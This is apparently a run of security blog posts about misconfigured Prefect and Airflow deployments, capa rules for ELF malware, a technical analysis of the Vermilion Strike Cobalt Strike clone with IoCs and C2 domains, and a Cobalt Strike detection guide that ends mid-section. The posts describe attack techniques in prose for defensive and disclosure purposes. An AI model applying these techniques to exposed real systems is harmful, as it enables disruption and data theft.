Workflow management platforms are powerful tools for automating and managing complex tasks. Integrating workflow platforms can help companies coordinate and ease their business processes as well as increase the productivity of their teams. When the instances are misconfigured, they can expose the systems to potential attacks and data loss. This is why it’s crucial to properly set up these instances. Companies recently learned this the hard way when misconfiguring popular open-source workflow platforms Argo and Airflow. This post will focus on misconfigurations in the Prefect workflow platform. We have identified hundreds of misconfigured Prefect instances which could be the target of disruptive attacks. By using Prefect’s web UI and API function, attackers can potentially modify and delete workflows, tasks, and agents, including the history logs of previous executions, belonging to companies with exposed instances. Disruptive attacks can cause data loss and business delays affecting teams that integrate workflows into their daily routines and the clients that depend on these workflows functioning properly. We did not find any evidence of Prefect users having their information leaked as of yet. Prefect users should verify that their instances are not exposed to the internet and enable multi-factor authentication.

What is Prefect?

Prefect is a workflow management platform launched in 2018 and powered by the open-source Prefect Core workflow engine. It’s a popular platform marked by its 7.6K stars on GitHub. There are two ways to set up Prefect: 1) Using the Prefect Cloud engine or 2) Setting up a local Prefect server. The main difference between the two options is Prefect Cloud has everything already configured and ready to use while the latter option requires users to put more effort into configuring the infrastructure. Prefect uses a full GraphQL API for interacting with the platform and easily accessing all of the information stored in the platform. The API can be accessed using the web UI or through a Python client. When using Prefect Cloud, authentication is required to access the platform. However, when using the Prefect server, authentication is not required by default, meaning that anyone with access to the server can get information from the Prefect platform. For companies that have instances exposed to the internet and which don’t incorporate authentication, essentially this means that anyone can view the information stored by those companies on Prefect. This includes flows, tasks, agents and projects. Unlike Argo and Airflow, Prefect is a much more secure platform and we did not find any evidence of companies that use Prefect having their information leaked. We examined the functions exposed by the API and the actions that users can make in the web UI. There are several functions in the web UI and GraphQL API that can be used by attackers to delete elements in the workflow platform and launch disruptive attacks on the companies that own the exposed instances.

How is the Attack Executed?

Workflows can be deleted with a single button click in the web UI as shown below.

Deleting a workflow in the web UI.

Another way to delete workflows, as well as projects, tasks and agents, is by using queries from the GraphQL API, which is available in the web UI or on port 4200 of the server that runs the Prefect platform. Using a simple query, an attacker can retrieve the ID of the elements they plan to delete and then use the suitable API functions to delete the elements. Those elements are delete_task, delete_flow, delete_project or delete_agent.

Obtaining the ID of a task using GraphQL API.

Deleting a task which has a specific ID.

The Risk of Exposed Prefect Instances

Prefect instances exposed to the internet don’t enable authentication by default, allowing attackers to delete elements in the platform and disrupt the everyday work of the organization. This type of attack can affect an organization in several ways:

Data loss – losing information about workflows, tasks and data from previous deployments
Disruption – workflows are a key utility leveraged by different teams to accomplish tasks. Damage in a company’s Prefect instance affects all of the teams from that company that use the platform and the clients that depend on the service(s) provided by the victim company. For example, a company that uses workflows to automate its purchasing process could be blocked from making transactions until the issue is resolved. Another example is the disruption of client onboarding processes powered by automated workflows
Delays in project deployment – teams and customers relying on workflows to accomplish tasks most likely would experience delays since it takes time to restore the platform or even set up a new one. For example, a business that uses automated workflows to send emails to its customers could experience delays. In addition, disruption of a service could tarnish a company’s brand and reputation resulting in financial loss

Stay Secure

Misconfigurations are the number one cause of security breaches in the cloud today. Companies exposing their instances to the internet without enforcing authentication is always a bad idea, especially if the platform provides a powerful API that can also be leveraged by attackers. While Prefect is more secure than workflow platforms like Argo and Airflow, exposed Prefect deployments are still candidates for disruptive attacks in which attackers can alter the workflow environment and greatly damage the company that uses the platform. We advise on adding firewall rules to hide the instance from the internet and ensure that authentication is configured. If the application does not offer sufficient authentication mechanisms, consider leveraging tools provisioned by the cloud provider to implement your own authentication such as GCP’s Identity-Aware Proxy or AWS’s Session Manager.

Misconfigured Airflows Leak Thousands of Credentials from Popular Services

Mon, 04 Oct 2021 00:00:00 +0000

This research refers to misconfigured Apache Airflow managed by individuals or organizations (‘users’). As a result of the misconfiguration, the credentials of users are exposed, including their own credentials to the different platforms, applications and services mentioned in this article. This article doesn’t refer to exposed credentials of the entities behind the development of the platforms, applications and services themselves.

Apache Airflow is the #1 starred open-source workflows application on GitHub

Workflow management platforms are an indispensable tool for automating business and IT tasks. These platforms make it easier to create, schedule and monitor workflows. They are typically hosted on the cloud to provide increased accessibility and scalability. On the flip side, misconfigured instances that allow internet-wide access make these platforms ideal candidates for exploitation by attackers.

While researching a misconfiguration in the popular workflow platform, Apache Airflow, we discovered a number of unprotected instances. These unsecured instances expose sensitive information of companies across the media, finance, manufacturing, information technology (IT), biotech, e-commerce, health, energy, cybersecurity, and transportation industries. In the vulnerable Airflows, we see exposed credentials for popular platforms and services such as Slack, PayPal, AWS and more.

Key Findings

A number of misconfigured Airflow instances have exposed the credentials of popular services including cloud hosting providers, payment processing, and social media platforms.
Exposing secrets such as user credentials can cause data leakage or provide attackers with the ability to spread further in the system.
Customer data exposed as a result of a data leak can lead to violation of data protection laws and the possibility of legal action.
There is also the possibility that malicious code execution and malware can be launched on the exposed production environments and even on Apache Airflow itself.
We have notified the identified entities to fix their misconfigured Airflow instances as part of the responsible disclosure policy.

All Apache Airflow users are urged to update to the latest version immediately and make sure their deployments are only accessible to authorized users. In addition, adopt secure coding practices.

What is Apache Airflow?

Apache Airflow is an open-source workflow management platform. The platform simplifies the process of creating and managing complex workflows. Airflow provides plug-and-play integrations with many technologies. Its GitHub repository has 22.8K stars, making it the world’s most popular open-source workflow project.

Airflow uses standard Python to create and schedule workflows, providing users with a dynamic and convenient way to work with the platform. There are several concepts and features in Airflow that make it flexible and popular among users:

Directed Acyclic Graph (DAG) – the primary concept in Airflow that represents a collection of tasks with defined dependencies and relationships.
Task – the basic unit of execution in Airflow, with each node in the DAG represented by a task.
Variables – a way to store content and settings in a key value storage, including passwords and API keys that are stored as masked strings. Airflow also supports variable encryption using Fernet.
Connections – A feature that stores parameters (username, password, host) needed to connect to external systems.
Logs – Airflow supports logging mechanisms as well as the ability to emit metrics.

Version 1 of Airflow was released in 2015. From the new web server UI from version 1.10.0 many security changes were included, for instance, removing the dangerous Ad Hoc query. In December 2020, version 2.0.0 was released and included many changes in functionality, performance, UI, and security of the platform.

Version 2 presents a new REST API that requires authentication for all operations, including logging into the platform. Additionally, the logs do not not contain sensitive information and specification of the Fernet key is required for variable encryption. Finally, the configuration is adapted. This means that several fields are deprecated and other settings require explicit values rather than using default values. Most of our research is focused on the older, less secure versions of Apache Airflow, which also emphasizes the risks associated with procrastinating on making software updates.

Misconfiguration Risk

Credential Exposure

One of the main risks of a misconfigured Airflow instance is the credentials that are exposed with it. These credentials can give a threat actor access to legitimate accounts and databases, with the ability to perform lateral movement. If a large number of passwords are visible, a threat actor can also use this data to detect patterns and common words to infer other passwords. These can be leveraged in dictionary or brute-force-style attacks against other platforms. Popular platforms that we found with exposed credentials as a result of misconfigured Airflow instances include database passwords, API keys, and cloud credentials. These include but are not limited to:

Most of these credentials are exposed through insecure coding practices. We document some of the ways in which the credentials have been exposed below.

Insecure Coding Practices

The most common way to leak credentials in Airflow is through insecure coding practices. We discovered many instances with hardcoded passwords inside the Python DAG code. An example of a hardcoded password for a production PostgreSQL database is shown below.

Hardcoded PostgreSQL password in DAG code.

Variables

The next most common way for credentials to be leaked is through the ‘variables’ feature in Airflow. The variables feature allows a user to define a variable value that is able to be globally used across all DAG scripts. It is very common to see hardcoded passwords in these variables. An example of a Slack token used in a variable is shown below.

Hardcoded Slack token in variables.

Connections

Connections are the correct way to store credentials in Airflow. When a connection with a password or token is added to Airflow, the password is securely encrypted in a database using the Fernet key. In some cases, this feature is misused and the credentials are stored in the Extra field of the connection in plaintext. This means that they are not encrypted and can be viewed by anyone. An example with an AWS key stored in the extra field is shown below.

AWS key located in misused connection.

Logs

In versions of Airflow prior to 1.10.13, credentials added via the command line interface (CLI) would be logged in plaintext in the logs section; now registered as CVE-2020-17511. Below shows a log entry for a SQL Lakehouse platform.

Password located in logs.

Configuration

The configuration file (airflow.cfg) is created when Airflow is first started. It contains Airflow’s configuration and it is able to be changed. This file can contain sensitive information such as passwords and keys. If the setting in the file expose_config is set to True, anyone can access the configuration from the web server UI. Accessing from the UI can expose credentials. It is common to see plaintext fernet keys in these files as shown below.

Key located in exposed configuration file.

Leakage of Sensitive Data

Many Airflow instances contain sensitive information. When these instances are exposed to the internet the information becomes accessible to everyone, since the authentication is disabled.

Leakage of sensitive data essentially means that attackers have access to information on the organization that owns the exposed server. They can steal and use the information in many ways. For example, attackers can use leaked information to gather more information about the organization (reconnaissance stage as defined in The Cyber Kill Chain®) and launch an attack that is tailored towards that organization. Leaked information can also reveal details about the compromised organization’s clients. The consequences of data leakage can lead to serious reputational damage for the company and the potential loss of existing and potential new clients.

In versions prior to v1.10 of Airflow, there is a feature that lets users run Ad Hoc database queries and get results from the database. While this feature can be handy, it is also very dangerous because on top of there being no authentication, anyone with access to the server can get information from the database.

Screenshot of the Ad Hoc Query feature in Airflow UI.

Many exposed Airflow instances that we found revealed information about the services and platforms that companies are using in their software development environments. For example, several instances included the private names of Docker images or internal dependencies used in the workflow. Exposing information about tools and packages used in the organization’s infrastructure can jeopardize the organization and also be leveraged by threat actors in supply chain attacks. This can lead to attacks that leverage dependency or image short names to deliver malicious code instead of the intended code. A really good example of this type of attack is covered here.

Private container registry.

Legal Action

Exposing customer information can also lead to violation of data protection laws and the possibility of legal action. One such data protection law is General Data Protection Regulation (GDPR), which applies to organizations handling the data of European citizens or any entities located in the European Union (EU). Violating this law by leaking sensitive customer information can lead to sizable administrative fines.

Disruption of clients’ operations through poor cybersecurity practices can also result in legal action such as class action lawsuits. In the May 2021 Colonial Pipeline hack, consumers that had their business disrupted filed class action lawsuits against Colonial Pipeline.

Malware

There is also the possibility that Airflow plugins or features can be abused to run malicious code. An example of how an attacker can abuse a native ‘Variables’ feature in Airflow is if any code or images placed in the variables form is used to build evaluated code strings.

Variables are able to be edited by any visiting user which means that malicious code could be injected. One entity we observed was using variables to store internal container image names to execute. These container image variables could be edited and swapped out with an image containing and running unauthorized or malicious code.

Image name variables vulnerable to exploitation.

Another possible route for malicious code execution can come through unofficial third-party plugins. In some instances, we noticed that the plugin airflow-code-editor was being used. This can be leveraged to edit DAGs to include malicious code that can then be triggered from the UI. Of all the exposed instances, we noted only a small percentage using these types of vulnerable plugins.

Vulnerable code editor plugin.

Mitigation

Versioning

Airflow made great progress in terms of security features implemented in version 2.0. The changes included the following:

The dangerous Ad Hoc query was removed from the GUI.
The logs do not leak information.
Enforced login and authentication required for all operations in the REST API.
Security tab was added to the dashboard. It provides information about users and the permissions they have for each menu in the dashboard.
The configuration file is more strict and requires explicit specifications of configuration values rather than using default values.

In light of the major changes made in version 2, it is strongly recommended to update the version of all Airflow instances to the latest version. Make sure that only authorized users can connect.

Secure Coding Practices

Secure coding practices should be adopted whenever possible. Passwords should not be hardcoded and the long names of images and dependencies should be utilized. You will not be protected when using poor coding practices even if you believe the application is firewalled off to the internet.

The connections should be utilized in the proper way specified by Airflow for maximum security. That process for managing connections is documented here.

If there is sensitive information that can not be placed within the connections, consider using environment variables instead.

Detecting Attackers Exploiting Misconfigurations

Misconfigurations and broken access control are among the top reasons for access to unauthorized functionality and data. If you don’t believe us, check out our research about misconfigurations in another popular workflow platform called Argo Workflows.

In the event that an attacker has already exploited a misconfiguration or vulnerability, you will need to detect and terminate the malicious or unauthorized code in your production environment as soon as it is executed.

Teaching Capa New Tricks: Analyzing Capabilities in PE and ELF Files

Wed, 15 Sep 2021 00:00:00 +0000

Introduction

When analyzing malware, one of the goals in addition to identifying what malware it is, is to understand what it does when it runs on a machine. There are multiple ways of achieving this by either manual analysis, which requires reverse engineering skills, or automated analysis. With Intezer Analyze we provide a tool that aids both advanced reverse engineers and entry-level analysts with the task of analyzing any suspicious file. Earlier this year we announced a new feature in Intezer Analyze that extracts the capabilities of a file. From the capabilities, you can map these to known Tactics, Techniques, and Procedures (TTPs). Under the hood, the functionality is powered by an open-source project from FireEye called capa. Capa analyzes Windows portable executable (PE) files and matches the findings against a rule set to determine a file’s capability. Intezer Analyze is not limited to PE files. It can also detect code reuse between Executable and Linkable Format (ELF) files. With this in mind, we wanted to provide similar information for ELF files. To achieve this, we extended capa support to ELF files and also created rules for Linux ELFs. Since capa is an open-source project, we submitted the changes to the capa project to allow not only users of Analyze to take advantage of this new functionality but also users of capa. So let’s explore how we can use these new features in Intezer Analyze when investigating both PE and ELF files.

Supercharge Code Reuse with Capabilities

One beautiful marriage is the use of capabilities extracted by capa and malicious code reuse (aka code genes) detected by Intezer Analyze. At Intezer, we have a vast gene database of both known malicious code and code from trusted vendors. This allows for the detection of different malware versions but also detects when code is shared between different malware families. This can be used to attribute new malware to previously known threats. Another strength of code genes is that it allows for the determination of which functionality is shared between different malware via code reuse. In biology, genes serve as the blueprint for proteins and the proteins affect what a cell will do. A parallel can be drawn to computer code. What a file will do, is dependent on its capability. The capabilities are “codified” in its code genes. What this means is that by connecting capabilities to code genes, we can detect that a capability is shared between different malware families, thus making a strong connection between them. To see this in action, let’s look at a practical example. The following example uses one of the Olympic Destroyer samples (3e27b6b287f0b9f7e85bfe18901d961110ae969d58b44af15b1d75be749022c2) that was part of Cisco Talos' report. Olympic Destroyer is a good example because of all the false flags planted by the threat actor. If we analyze the sample, you can see that it drops a number of other files. The analysis of one of these files is shown in Figure 1.

Figure 1: Analysis of one of the dropped files by the Olympic Destroyer sample (3e27b6b287f0b9f7e85bfe18901d961110ae969d58b44af15b1d75be749022c2).

The gene summary shows that the file shares code with Olympic Destroyer and TeleBots. Looking at the related samples to Olympic Destroyer, Figure 2, is the “System Stealer” from the Cisco Talos report. According to the report, the stealer attempts to obtain credentials from LSASS. The technique used is similar to Mimikatz. From the gene summary, we can see that it does not share code with Mimikatz.

Figure 2: Olympic Destroyer related sample found is the system stealer (f188abc33d351c2254d794b525c5a8b79ea78acd3050cd8d27d3ecfc568c2936) from the original Cisco Talos report.

If we look at the related TeleBots samples, we can see (Figure 3) that they share code with a sample labeled XData. XData was a ransomware that targeted Ukraine a month before the NotPetya incident. According to an ESET report, the malware was launched just after M.E.Doc had been executed on the machine, suggesting that the same supply chain vector as NotPetya was used. XData, according to ESET, had an embedded DLL that performed credential harvesting like Mimikatz.

Figure 3: TeleBots related samples show that the samples share code with an XData sample.

The connection between the two malware families can be made stronger by looking at the functionality of the code that was reused. This you can do in Intezer Analyze by looking at the capabilities that share genes between the TeleBots sample and the Olympic Destroyer sample. The result is shown in Figure 4, where you can see that the shared code is for the allocation of read-write-execute memory. This is used by malware, for example, as part of unpacking or decrypting payloads or for injecting into another process. What this is telling us is that XData and Olympic Destroyer share a unique code that is used as part of the allocation of read-write-execute memory.

Figure 4: Capabilities with shared code genes between the Olympic Destroyer sample and XData.

Analyzing Capabilities of ELF Files

Capa is a great tool for extracting capabilities of files and until now it only supported PE files. To provide the same functionality for ELF files in Intezer Analyze, we expanded capa’s functionality. Intezer Analyze has been supporting ELFs for some time now but with the release of capa v3.0, which includes our improvements and rules for Linux ELFs, similar capability extraction can be performed by using capa. As with Windows PE capability detection, Intezer Analyze also correlates detected capabilities to code genes for ELFs. This means a similar approach can be applied as documented above when it comes to analyzing code reuse and capabilities. Figure 5 shows the capabilities detected for a RedXOR sample that we released a report on earlier this year. From what we can see in the table under the TTPs tab, the way the capabilities have been implemented is unique to RedXOR.

Figure 5: Capabilities of a RedXOR sample detected by capa.

ELF malware are sometimes statically linked. This means that libraries used by the malware are included in the binary. That way, the malware doesn’t have to depend on the infected machine to have the correct version of the library that the malware expects, which allows the malware to run on multiple Linux distributions. This can cause some detection of capabilities that are part of a shared library and not the actual malware. This can be detected in the capabilities table under TTPs in Intezer Analyze. Figure 6 shows some of the capabilities detected for a malware called TSCookie. TSCookie is a backdoor used by BlackTech and the Linux version was first reported on by JPCert. The table shows the detection of “calculate modulo 256 via x86 assembly” and that the same genes are shared between BlackTech, Bifrost, and libc. What this allows analysts to deduce is that the shared genes between BlackTech and Bifrost exist because their malware has been statically linked against the same libc version.

Figure 6: Some of the capabilities for a TSCookie sample.

Conclusion

Code gene analysis is a great way to find shared code between different malware families. By correlating code genes to the capabilities of a file, you can add another dimension to your malware analysis. In addition to Windows PE files, Intezer Analyze now allows this to be performed on Linux ELF files. This was possible by extending the functionality of an open-source project called capa. We are grateful that FireEye open-sourced capa as it allowed us to extend its functionality to support ELF files. As we are not only users of open-source, we also enjoy providing improvements and bug fixes to open-source projects. Additionally, we also have released some of our own. Check out FireEye’s blog post on capa v3.0 release here.

Vermilion Strike: Linux and Windows Re-implementation of Cobalt Strike

Mon, 13 Sep 2021 00:00:00 +0000

Key Findings

Discovered Linux & Windows re-implementation of Cobalt Strike Beacon written from scratch
Linux malware is fully undetected by vendors
Has IoC and technical overlaps with previously discovered Windows DLL files
Highly targeted with victims including telecommunications, government and finance

Cobalt Strike is a popular red team tool for Windows which is also heavily used by threat actors. At the time of this writing, there is no official Cobalt Strike version for Linux.

In August 2021, we at Intezer discovered a fully undetected ELF implementation of Cobalt Strike’s beacon, which we named Vermilion Strike. The stealthy sample uses Cobalt Strike’s Command and Control (C2) protocol when communicating to the C2 server and has Remote Access capabilities such as uploading files, running shell commands and writing to files. The malware is fully undetected in VirusTotal at the time of this writing and was uploaded from Malaysia.

Based on telemetry with collaboration from our partners at McAfee Enterprise ATR, this Linux threat has been active in the wild since August targeting telecom companies, government agencies, IT companies, financial institutions and advisory companies around the world. Targeting has been limited in scope, suggesting that this malware is used in specific attacks rather than mass spreading.

After further analysis, we found Windows samples that use the same C2. The samples are re-implementations of Cobalt Strike Beacon. The Windows and ELF samples share the same functionalities.

The sophistication of this threat, its intent to conduct espionage, and the fact that the code hasn’t been seen before in other attacks, together with the fact that it targets specific entities in the wild, leads us to believe that this threat was developed by a skilled threat actor.

In this post we will provide a technical analysis of the samples and explain how you can detect and respond to this threat.

Technical Analysis

Linux File

The file was uploaded to VirusTotal from Malaysia and has no detections in VirusTotal at the time of this writing.

294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc in VirusTotal

Vermilion Strike analysis in Intezer: https://analyze.intezer.com/files/294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc

The file shares strings with previously seen Cobalt Strike samples and triggers a number of YARA rules that detect encoded Cobalt Strike configurations. The ELF file is built on a Red Hat Linux distribution. It uses OpenSSL via dynamic linking. The shared object names for OpenSSL on Red Hat-based distributions are different from other Linux distributions. Because of this, it can only run on machines with Linux distribution based on Red Hat’s code base.

Initialization

The sample starts by forcing itself to run in the background using daemon. It will decrypt the configuration, using the XOR key 0x69, shown in the screenshot below. The key 0x69 is a common value used by Cobalt Strike’s encrypted configuration too. Vermilion Strike’s configuration format is the same as Cobalt Strike. Tools used for extracting Cobalt Strike configurations can also be used to extract Vermilion Strike configuration. The Windows components of the configuration are ignored for this Linux version.

Decoded configuration of the beacon

Further decryption is performed in a heap with decoded strings, keys, and values required by the beacon for its operation. The beacon will then generate a SHA256 hash sourced from a random number seeded from the thread ID. This value will be used later in DNS beaconing. Next, a public RSA key will be imported for later use.

Importing of public RSA key to encrypt machine fingerprint

The beacon will begin fingerprinting the machine. A random number will be generated and the process ID will be fetched. It will grab the kernel version of the machine using uname. Next, the beacon will fingerprint network information through the getifaddrs function. It will loop through the interfaces looking for IPv4 addresses. It will gather the interface with an address not equal to 127.0.0.1 and stage the IPv4 address.

Network interface fingerprinting

Next, the beacon will fingerprint the entry in the local password database for information about the current effective user ID of the process.

Fingerprinting of local password database

The beacon will then fingerprint the hostname of the machine. The collected information will be formatted into a string, encrypted with the public RSA key, and base64 encoded, as is standard for communication with a Cobalt Strike server. The stages are shown below.

Stages of formatting the machine fingerprint

Prepended to the fingerprint string is the value 1.0.1.LR. This appears to be an internal version string. A similar string, W1.0.1, was found in a newly discovered Windows sample of Vermilion Strike that shares the same C2 and malware functionality.

The encrypted data is sent to the C2 server in a similar way that the metadata is sent from a Cobalt Strike beacon to the C2 server. The payload that is encrypted starts with the marker 0xbeef. The same marker is used by the legitimate Cobalt Strike beacon.

Command and Control

Command and Control is primarily performed over DNS but also available over HTTP. This DNS-based approach for communications can help avoid traditional defenses that monitor HTTP traffic. Commands are received via DNS Address (A) and Text (TXT) records. The beacon first makes DNS requests out to hardcoded subdomains and gets an IP address returned. Normally, DNS requests on hostnames are intended to be translated into an IP address for which to visit. In this case, the IP address returned is not used as an IP address but for triggers to change the beacon behavior.

Once the beacon gets the signal to download a task, it will perform a DNS TXT query to the domain’s nameservers, as shown below.

Packet capture of C2 communication

The result of the TXT query is a base64 encoded and AES encrypted struct containing task information. An example of a returned task is shown below.

A DNS TXT query result for a task

A decrypted task is shown below.

Decrypted command

Tasks that the beacon can perform are:

Change working directory
Get current working directory
Append/write to file
Upload file to C2
Execute command via popen
Get disk partitions
List files

The malware uses a separate thread to execute the tasks. The tasks are scheduled as jobs via a semaphore to ensure not too many jobs are executed at once. Vermilion Strike has a third way of communicating with the C2 server via ICMP ping messages. The malware adds the current pid to the offset 0x4 in the header and the encrypted payload is sent as data in the ICMP packet. The data size for an ICMP packet is limited to 65,507 bytes but the malware uses a size limit of 64,000 bytes for the payload. The code for sending and processing ICMP messages exists in the malware but the code for enabling it via the configuration is not present. This means it has the capability but can’t be configured to use it. This suggests it may be a new feature that hasn’t been fully developed yet.

Links to Windows Files

When investigating this Linux file, we discovered related Windows samples. The first sample we noticed was: 3ad119d4f2f1d8ce3851181120a292f41189e4417ad20a6c86b6f45f6a9fbcfc. This is a 32-bit EXE sample that shares a C2 IP address (160.202.163[.]100). This is a stager that will fetch a DLL from the C2 over HTTP and execute it in-memory.

An example of the next stage DLL is 7129434afc1fec276525acfeee5bb08923ccd9b32269638a54c7b452f5493492. This sample, first noticed in 2019 by Silas Cutler, is the Windows DLL equivalent of the ELF file. The functionality is almost exactly the same, except for the Windows environment. A side-by-side comparison of the configuration decoding function for the ELF and DLL beacons is shown below.

Configuration decryption function comparison

The DLL has the same domains as the ELF for C2, as well as an additional configured domain amazon.hksupd[.]com.

Using the stager we managed to get a new payload from the server (e40370f463b4a4feb2d515a3fb64af1573523f03917b2fd9e7a9d0a741ef89a5). It has a lot of shared code with the sample from 2019. This sample and another Windows version of Vermilion Strike (c49631db0b2e41125ccade68a0fe7fb70939315f1c580510e40e5b30ead868f5) includes a similar version string as the ELF version. The version string in these samples is W1.0.1.

Internal version string in recent Windows versions

Conclusion

Vermilion Strike and other Linux threats remain a constant threat. The predominance of Linux servers in the cloud and its continued rise invites APTs to modify their toolsets in order to navigate the existing environment. Linux threats often have low detection rates compared to their Windows counterparts due to reasons discussed in Why we Should be Paying More Attention to Linux Threats.

Vermilion Strike is not the only Linux port of Cobalt Strike’s Beacon. Another example is the open-source project geacon, a Go-based implementation. Vermilion Strike may not be the last Linux implementation of Beacon.

Detection and Response

Intezer can detect both Linux and Windows variants of Vermilion Strike, based on code reuse, TTPs, and strings. Shown below are the verdicts for both versions.

Intezer verdict of Windows version of Vermilion Strike

Intezer verdict of Windows version of Vermilion Strike.

Intezer verdict of Linux version of Vermilion Strike

Intezer verdict of Linux version of Vermilion Strike.

Detect if a Machine in Your Network Has Been Compromised

We recommend using the IoCs section below to ensure that the Vermilion Strike process does not exist anywhere on your system.

Response

If you are a victim of this operation, take the following steps:

Kill the process and delete all files related to the malware.
Make sure that your machine is clean and running only trusted code.
Make sure that your software is up-to-date with the latest versions and security patches and configured to security best practices.

Intezer would like to thank McAfee ATR for their help during the research process.

IoCs

ELF

294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc

PE

Stager

3ad119d4f2f1d8ce3851181120a292f41189e4417ad20a6c86b6f45f6a9fbcfc

Beacon

7129434afc1fec276525acfeee5bb08923ccd9b32269638a54c7b452f5493492

c49631db0b2e41125ccade68a0fe7fb70939315f1c580510e40e5b30ead868f5

07b815cee2b85a41820cd8157a68f35aa1ed0aa5f4093b8cb79a1d645a16273f

e40370f463b4a4feb2d515a3fb64af1573523f03917b2fd9e7a9d0a741ef89a5

C2

160.202.163.100

update.microsofthk[.]com

update.microsoftkernel[.]com

amazon.hksupd[.]com

How to Detect Cobalt Strike

Wed, 18 Aug 2021 00:00:00 +0000

Intro

Cobalt Strike is a penetration testing tool created by Raphael Mudge in 2012. To this day, it remains extremely popular in red team activities and used for malicious purposes by threat actors. Cobalt Strike is popular due to its range of deployment options, ease of use, ability to avoid detection by security products, and a number of capabilities it has. It is for these reasons that threat actors like Cobalt Strike. Since Cobalt Strike is widely used by a range of actors, its lack of exclusivity makes attribution harder. Companies still struggle to detect Cobalt Strike also due to the various defensive techniques it has.

This blog explains Cobalt Strike and practical steps to take if you believe that you are being targeted or have been compromised by Cobalt Strike. We will demonstrate some real world examples of Cobalt Strike delivery and steps to detect each.

What is Cobalt Strike?

Cobalt Strike is marketed as “Software for Adversary Simulations and Red Team Operations.”

It is a popular platform that allows users to emulate advanced threats, perform reconnaissance, hide communications, escalate privileges, move laterally across the network, and deploy additional payloads. The main payload of Cobalt Strike is called “Beacon.” The Beacon payload is used to model advanced APT malware, and it can do the following:

Receive commands (either passively or from an interactive console)
Egress communications over HTTP, HTTPS, and DNS
Launch PowerShell
Execute binaries
Modify and query the Windows registry
Inject malicious code into legitimate processes
Log keystrokes
Take screenshots
Set up proxies
Escalate privileges
Bypass UAC
Dump password hashes
Scan ports among other abilities

This tool is mainly used in red team operations for government agencies and private enterprises, but it’s also a popular tool leveraged by cybercrime and APT groups in cracked versions. It is evident why Cobalt Strike is used by organizations and threat actors alike because of the extensive suite of capabilities it possesses, and also due to its ability to bypass defenses. It also comes with the feature to generate reporting in which the attacking team or threat actor can continuously study and improve their campaigns.

Why is it difficult to detect Cobalt Strike?

Cobalt Strike is difficult to detect because of its several defense techniques. Cobalt Strike payloads are usually shellcode encrypted with a rolling XOR key. This makes static analysis difficult to conduct. This, combined with the ability to configure many parts of the payload, makes hash-based detection almost impossible. Cobalt Strike stagers are designed to be loaded and executed only in-memory. This opens up a ton of possibilities for how this shellcode is shipped, making signature-based detection on the delivery method a cat and mouse game. Depending on how the code is delivered, the code can be injected into other legitimate running processes, bypassing defenses that do not scan legitimate processes or code in-memory.

How has Cobalt Strike been deployed?

Cobalt Strike has many different ways for deployment. This flexibility has helped attackers find many unconventional and creative ways to infect victims with a payload. For an in-depth technical analysis of Cobalt Strike’s deployment options and how they differ, check out either Avast’s blog or Cisco Talos' white paper. Let’s take a look at some real world examples of how Cobalt Strike is being used in the wild. We will cover the following:

Macro-Laden Microsoft Office files
Supply Chain Attack
Living off the Land (LotL)
Executables (EXE) files

Macro-Laden Microsoft Office Files

An example of a Cobalt Strike payload being delivered to victims via Microsoft Excel spreadsheets demonstrates that this tool is used in mass phishing campaigns, not just targeted APT attacks. The attack starts by sending potential victims a Microsoft OneDrive link from which an Excel (.xls) file is downloaded.

OneDrive URLs sent to victims

Using cloud storage links to deliver malicious files is a well-known strategy. It leverages the good reputation of cloud provider domains such as Microsoft, Amazon, and Google to bypass domain reputation-based security controls. This link delivers an Excel file pretending to be an Apple Store invoice requesting that the target “enable content to view receipt.”

Spreadsheet lure masquerading as an Apple Store receipt.

Upon enablement of macros, the spreadsheet will fetch and execute the payload in-memory.

How to Detect?

This can be difficult to detect, as there are multiple degrees of separation before the Cobalt Strike payload is executed. Detection first requires dynamic analysis in order to reach the Cobalt Strike stage. When this stage is reached, the best ways to detect the running Cobalt Strike code are through static signatures or genetic code analysis.

When it comes to static signatures, it can be difficult to isolate the exact area in-memory that you should run the signatures over. One way this can be achieved is running the file through debugging tools and manually dumping memory to perform signature analysis. This can be extremely time consuming and requires a high degree of technical knowledge. Another possible way is to use a sandbox and download memory dumps from a finished analysis in order to run static analysis tools. This requires slightly less technical knowledge, but it still can be time consuming. We suggest taking the suspicious document and uploading it to Intezer Analyze to find out if Cobalt Strike is hidden in-memory.

Intezer Analyze result for Cobalt Strike payload.

Supply Chain Attack

One of the biggest cybersecurity stories of 2020 was the SolarWinds supply chain attack that compromised high-profile entities around the world. This attack was done by an APT group known as NOBELIUM (UNC2452) leveraging the “Orion” business software to distribute malware to private and public organizations. Among the deployed malware was a Cobalt Strike loader dubbed TEARDROP by FireEye. The variant was named Raindrop by Symantec. The TEARDROP dropper is a memory-only DLL that runs as a service spawning a thread that pulls the Cobalt Strike payload from a fake JPG file.

The Raindrop variant is built from a modified version of 7-ZIP source code. It uses a different custom packer than TEARDROP, also leveraging steganography to locate the start of the encoded payload. Once the encoded payload has been located, it extracts, decrypts, and decompresses the data to be executed as shellcode.

How to Detect?

It can often be difficult to detect if your organization has been the victim of a supply chain attack. It can be especially hard to collect forensic evidence for an attack when it could be mixed in with the code of legitimate and large files. Due to the nature of supply chain attacks, there are often a large number of machines in an organization infected at one time. An action you can take is to run Intezer’s live endpoint scanner across all machines in the organization, to get immediate visibility over all running code and quickly identify infected machines by detecting any traces of malicious code found in-memory. An example of a machine with Raindrop loading Cobalt Strike is shown in the endpoint scan below.

Intezer Analyze endpoint scan result for Raindrop loading and executing a fileless Cobalt Strike payload.

Living off the Land (LotL)

Living off the Land (LotL) is the attack process of using legitimate and signed tools, usually provided within the operating system, to execute malware. This is a powerful tactic as it can result in unauthorized code being executed within the memory space of a trusted process, evading malware defenses by flying under the radar. This type of tactic also makes incident response difficult, since analysts can’t just filter out known legitimate processes during triage. All processes must be inspected in order to find that one needle in the haystack.

One popular tool used for LotL operations is the Microsoft.NET framework utility called MSBuild. MSBuild is the build platform used for Microsoft and Visual Studio. Visual Studio relies on MSBuild to build projects for testing and releases. Attackers are able to pass MSBuild.exe, a project (.proj) file, to build and execute. The payload, usually shellcode, is injected into another process. This attack is effective for attackers as many sandboxing solutions are not able to handle project files and struggle with fileless malware. This technique was observed by Cisco Talos researchers in 2020 to deploy Cobalt Strike.

Project file code.

As shown above, the project file has an encoded and compressed payload. This payload is decrypted, decompressed, and then copied into memory. The shellcode is then executed in a new thread.

How to Detect?

